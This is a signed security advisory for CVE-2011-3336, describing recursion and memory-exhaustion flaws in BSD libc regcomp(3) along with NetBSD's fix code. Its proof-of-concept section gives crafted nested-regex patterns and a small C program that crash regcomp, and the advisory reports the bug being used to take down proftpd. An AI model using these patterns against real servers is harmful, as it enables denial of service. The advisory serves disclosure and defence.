BSD libc/regcomp(3) Memory Management / Recursion

`-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA1  
  
[ Multiple BSD libc/regcomp(3) Multiple Vulnerabilities ]  
  
Author: Maksymilian Arciemowicz  
http://www.netbsd.org/donations/  
http://securityreason.com/  
http://cxib.net/  
  
Date:  
- - Dis.: 05.10.2011  
- - Pub.: 04.11.2011  
  
CVE: CVE-2011-3336  
  
Affected Software:  
- - NetBSD 5.1 (fixed)  
- - OpenBSD 5.0  
- - FreeBSD 8.2  
- - MacOSX  
  
  
Original URL:  
http://securityreason.com/achievement_securityalert/102  
  
  
- --- 0.Description ---  
regcomp() compiles the regular expression contained in the pattern  
string, subject to the flags in cflags, and places the results in the  
regex_t structure pointed to by preg.  
  
cflags is the bitwise OR of zero or more of the following flags:  
  
REG_EXTENDED  
Compile modern (extended) REs, rather than the obsolete (basic) REs that  
are the default.  
  
REG_BASIC  
This is a synonym for 0, provided as a counterpart to REG_EXTENDED to  
improve readability.  
  
  
- --- 1. Multiple BSD libc/regcomp(3) Multiple Vulnerabilities ---  
In regcomp(3) of BSD implementation, i've discovered a several flaws.  
Similar problem was diagnosed one year ago in GNU libc (01.10.2010). But  
GNU regcomp() code is different from BSD.  
  
Recursion and bad memory managment, may admit to unexpected end of  
application. Together with NetBSD we have decided to fix all these  
flaws. Most important was limit of recursion for REG_EXTENDED and  
REG_BASIC, and get better control over memory usage.  
  
Specifically crafted .ftpaccess file can return result as below  
- -proftpd---  
# telnet 127.0.0.1 21  
Trying 127.0.0.1...  
Connected to 127.0.0.1.  
Escape character is '^]'.  
220 ProFTPD 1.3.3f Server (ProFTPD Default Installation) [127.0.0.1]  
user dude  
331 Password required for dude  
pass dude  
  
and in the same time  
  
# gdb -q proftpd 15814  
(no debugging symbols found)  
Attaching to program: /usr/local/sbin/proftpd, process 15814  
Reading symbols from /usr/lib/libutil.so.11.2...done.  
Loaded symbols for /usr/lib/libutil.so.11.2  
Reading symbols from /usr/lib/libc.so.58.0...done.  
Loaded symbols for /usr/lib/libc.so.58.0  
Reading symbols from /usr/libexec/ld.so...done.  
Loaded symbols for /usr/libexec/ld.so  
0x001f39e9 in select () from /usr/lib/libc.so.58.0  
(gdb) c  
Continuing.  
  
Program received signal SIGSEGV, Segmentation fault.  
0x0026d951 in memcpy () from /usr/lib/libc.so.58.0  
  
crash in regcomp()  
  
...  
assert(finish >= start);  
if (len == 0)  
return(ret);  
enlarge(p, p->ssize + len); /* this many unexpected additions */  
assert(p->ssize >= p->slen + len);  
(void)memcpy(p->strip + p->slen, p->strip + start,  
(size_t)len * sizeof(sop));  
...  
(gdb) x/i $eip  
0x2d42951 <memcpy+61>: repz movsl %ds:(%esi),%es:(%edi)  
...  
- -proftpd---  
  
  
Uncontrolled memory exhaustion, allow to create an RE consuming all free  
memory. As we can read in manual:  
  
- -man regcomp 3--  
regexec() performance is poor. This will improve with later releases.  
nmatch exceeding 0 is expensive; nmatch exceeding 1 is worse.  
regexec is largely insensitive to RE complexity except that back  
references are massively expensive. RE length does matter; in  
particular, there is a strong speed bonus for keeping RE length under  
about 30 characters, with most special characters counting roughly double.  
  
regcomp() implements bounded repetitions by macro expansion, which is  
costly in time and space if counts are large or bounded repetitions are  
nested. An RE like, say, `((((a{1,100}){1,100}){1,100}){1,100}){1,100}'  
will (eventually) run almost any existing machine out of swap space.  
- -man regcomp 3--  
  
Using RE like `((((a{1,100}){1,100}){1,100}){1,100}){1,100}' may lead to  
out of swap space. It can be helpful to attack last stable version of  
proftpd.  
  
To fix memory exhaustion problem, we should create some limit of memory  
usage. In my opinion 128MB is optimal limit for one regcomp(3) call.  
Then function, checking memory usage like below  
  
- -part-of-fix--  
214: #define MEMLIMIT 0x8000000  
215: #define MEMSIZE(p) \  
216: ((p)->ncsalloc / CHAR_BIT * (p)->g->csetsize + \  
217: (p)->ncsalloc * sizeof(cset) + \  
218: (p)->ssize * sizeof(sop))  
219: #define RECLIMIT 256  
- -part-of-fix--  
  
should solve problem with memory exhaustion.  
  
In regcomp() we have a few recursion loops:  
- - p_ere <> p_ere_exp  
- - p_bre <> p_bre_exp  
- - repeat  
  
We need to create a limit for the two main functions p_ere and p_bre_exp  
  
#define RECLIMIT 256  
  
- -REG_EXTENTED---  
341: p_ere(  
342: struct parse *p,  
343: int stop, /* character this ERE should end at */  
344: size_t reclimit)  
345: {  
...  
351:  
352: _DIAGASSERT(p != NULL);  
353:  
354: if (reclimit++ > RECLIMIT || p->error == REG_ESPACE) {  
355: p->error = REG_ESPACE;  
356: return;  
357: }  
358:  
359: for (;;) {  
360: /* do a bunch of concatenated expressions */  
361: conc = HERE();  
362: while (MORE() && (c = PEEK()) != '|' && c != stop)  
363: p_ere_exp(p, reclimit); <=== RECURSION  
p_ere_exp <> p_ere  
...  
394: static void  
395: p_ere_exp(  
396: struct parse *p,  
397: size_t reclimit)  
398: {  
...  
420: if (!SEE(')'))  
421: p_ere(p, ')', reclimit); <=== RECURSION  
p_ere <> p_ere_exp  
...  
- -REG_EXTENTED---  
  
and adding code like:  
  
+ if (reclimit++ > RECLIMIT)  
+ p->error = REG_ESPACE;  
+ if (p->error)  
return;  
  
should protect us before huge complexity for REG_EXTENTED and REG_BASIC.  
  
The same limit implements to p_bre:  
- -REG_BASIC---  
...  
570: static void  
571: p_bre(  
572: struct parse *p,  
573: int end1, /* first terminating character */  
574: int end2, /* second terminating character */  
575: size_t reclimit)  
576: {  
577: sopno start;  
578: int first = 1; /* first subexpression? */  
579: int wasdollar = 0;  
580:  
581: _DIAGASSERT(p != NULL);  
582:  
583: if (reclimit++ > RECLIMIT || p->error == REG_ESPACE) {  
584: p->error = REG_ESPACE;  
585: return;  
586: }  
587:  
...  
595: while (MORE() && !SEETWO(end1, end2)) {  
596: wasdollar = p_simp_re(p, first, reclimit); <===  
RECURSION p_bre_exp <> p_bre  
597: first = 0;  
...  
613: static int /* was the simple RE an  
unbackslashed $? */  
614: p_simp_re(  
615: struct parse *p,  
616: int starordinary, /* is a leading * an ordinary  
character? */  
617: size_t reclimit)  
618: {  
...  
650: case BACKSL|'(':  
651: p->g->nsub++;  
652: subno = p->g->nsub;  
653: if (subno < NPAREN)  
654: p->pbegin[subno] = HERE();  
655: EMIT(OLPAREN, subno);  
656: /* the MORE here is an error heuristic */  
657: if (MORE() && !SEETWO('\\', ')'))  
658: p_bre(p, '\\', ')', reclimit); <===  
RECURSION p_bre <> p_bre_exp  
...  
- -REG_BASIC---  
  
That all about fixes.  
  
For REs like  
  
"(\(\(\(\(\(\(\(\(...)"  
"(((...(.*))))"  
  
regcomp() should crash with stack exhaustion symptom  
  
This bug has been used to denial of service proftpd 1.3.3f in openbsd  
4.9 and netbsd 5.1. Similar problem has been reported in GNU libc.  
Anyway Redhat has decided to not solve the problem:  
- ---  
Statement:  
  
Red Hat does not consider crash of client application, using regcomp()  
or regexec() routines on untrusted input without preliminary checking  
the input for the sanity, to be a security issue (the described deficiency  
implies and is a known limitation of the glibc regular expression engine  
implementation). The expressions can be modified to avoid quantification  
nesting, or program modified to limit size of input passed to regular  
expression engine. We do not currently plan to fix these flaws. If more  
information becomes available at a future date, we may revisit these issues.  
- ---  
  
regcomp() is not only used in client application. proftpd uses regcomp()  
in .ftpaccess file. Now we should know, who has right? Red Hat or  
proftpd has made a mistake using regcomp() in code? GNU need more  
information to revisit this issue :)  
  
  
- --- 2. PoC ---  
/* poc.c  
  
pattern1:  
./poc '(.?)((((.*){1,100}){1,100}){1,100}){1,100}'  
  
pattern2:  
./poc  
'(.?)(((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((.*){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}){1,2}'  
Memory fault (core dumped)  
gdb openbsd 4.9:  
1275 (void) memcpy((char *)(p->strip + p->slen),  
(gdb) print p->slen  
$14 = 218103912  
(gdb) print start  
$15 = 107  
(gdb) print len  
$16 = 218103802  
(gdb) x/x p->slen  
0xd000068: Cannot access memory at address 0xd000068  
(gdb) n  
  
Program received signal SIGSEGV, Segmentation fault.  
0x02d42951 in memcpy () from /usr/lib/libc.so.58.0  
(gdb) x/i $eip  
0x2d42951 <memcpy+61>: repz movsl %ds:(%esi),%es:(%edi)  
(gdb) x/x $esi  
0xbf3ce190: 0x70000064  
(gdb) x/x $edi  
0xf33ce184: Cannot access memory at address 0xf33ce184  
  
  
and more patterns from  
http://cvsweb.netbsd.org/bsdweb.cgi/src/tests/lib/libc/regex/t_exhaust.c  
  
*/  
#include <regex.h>  
#include <stdio.h>  
  
int  
main (int argc, char *argv[])  
{  
regex_t preg;  
int a=regcomp(&preg, argv[1], REG_EXTENDED);  
printf("a:%i\n",a);  
return 0;  
}  
  
  
- --- 3. Fix ---  
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/regex/regcomp.c  
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/regex/engine.c  
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/regex/regex2.h  
  
tests:  
http://cvsweb.netbsd.org/bsdweb.cgi/src/tests/lib/libc/regex/Makefile  
http://cvsweb.netbsd.org/bsdweb.cgi/src/tests/lib/libc/regex/t_exhaust.c  
  
  
- --- 4. References ---  
GNU/regcomp() vulnerability  
http://www.kb.cert.org/vuls/id/912279  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4051  
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4052  
  
Statement:  
https://bugzilla.redhat.com/show_bug.cgi?id=645859#c6  
  
Exploit:  
tested: ubuntu 11.10 and proftpd 1.3.4rc2  
http://cxib.net/stuff/proftpd.gnu.c  
  
  
- --- 5. Greets ---  
Christos Zoulas, sp3x, Infospec  
  
and thanks for US-CERT for coordinating  
  
  
- --- 6. Contact ---  
Author: Maksymilian Arciemowicz  
  
Email:  
- - cxib {a\./t] securityreason [d=t} com  
  
GPG:  
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg  
  
http://securityreason.com/  
http://securityreason.net/  
http://cxib.net/  
  
- --   
Best Regards  
pub 4096R/D6E5B530 2010-09-19  
uid Maksymilian Arciemowicz (cx) <[email protected]>  
sub 4096R/58BA663C 2010-09-19  
-----BEGIN PGP SIGNATURE-----  
  
iQIcBAEBAgAGBQJOs++hAAoJEIO8+dzW5bUwl2YP/3outkBGAEnesEWJmxosEoI1  
OgJW31rb4qY66ctN3Ib+4yFX93QAUKL0kX7K2pa2FFdP3c+N5cNU0lFOb6QLFZ/g  
PrGwmvW0/YxZGynoSsytf0sI5cVoO/EgkqX2/x08Xzl48CDHE+xwZKPV5eFdHFw/  
Dhji+PuAPUEmvRfr2qN76xRwGtAIYf5mQz7pvcHUtQuvgBnnNFzZmMDbbTdjxMm6  
ZmUWGtG3Yth/VXlEvsdx7ehY98N5qayAVvDtItvWZf08HLNOkwKO0fla0u7Eackb  
wiJLim/dc3TxHgmZRN/hyupT0idq9Mt1CQ5pgmiP9UPJaJKUmSZFi+CKYqUO5OKi  
5tOkILVJmwKGFnGg+dU5Ulm6WoOR809jn9DnTfR3Pg7j0NoDMcbc/r1Ekoemq55X  
hrVfse2nEFxbw7iCRgq4lb7cucpq2+Po/hycdGOkq3/o2eVXa/qwb7EGLcmiMRtM  
gk1A/H1X8QG0wHohIdRbpWmTKBHYCXPXCihbdsPZqTTebsjYMoYmv8m4O72PXf6l  
aiev8Yl70nzc02B6y8F0cYZt+PC/kMm8TEiLXXmRB/aYYH/IYU32TDmQiT6tKSDf  
S0mZyybR9eJfUbtuyaSHSHyqheVfcG3iMurzKOiPMmexVLKx9B1ENbwqdE9Zu4/i  
uZXhFALblAvW44nsjVcI  
=uCkI  
-----END PGP SIGNATURE-----  
`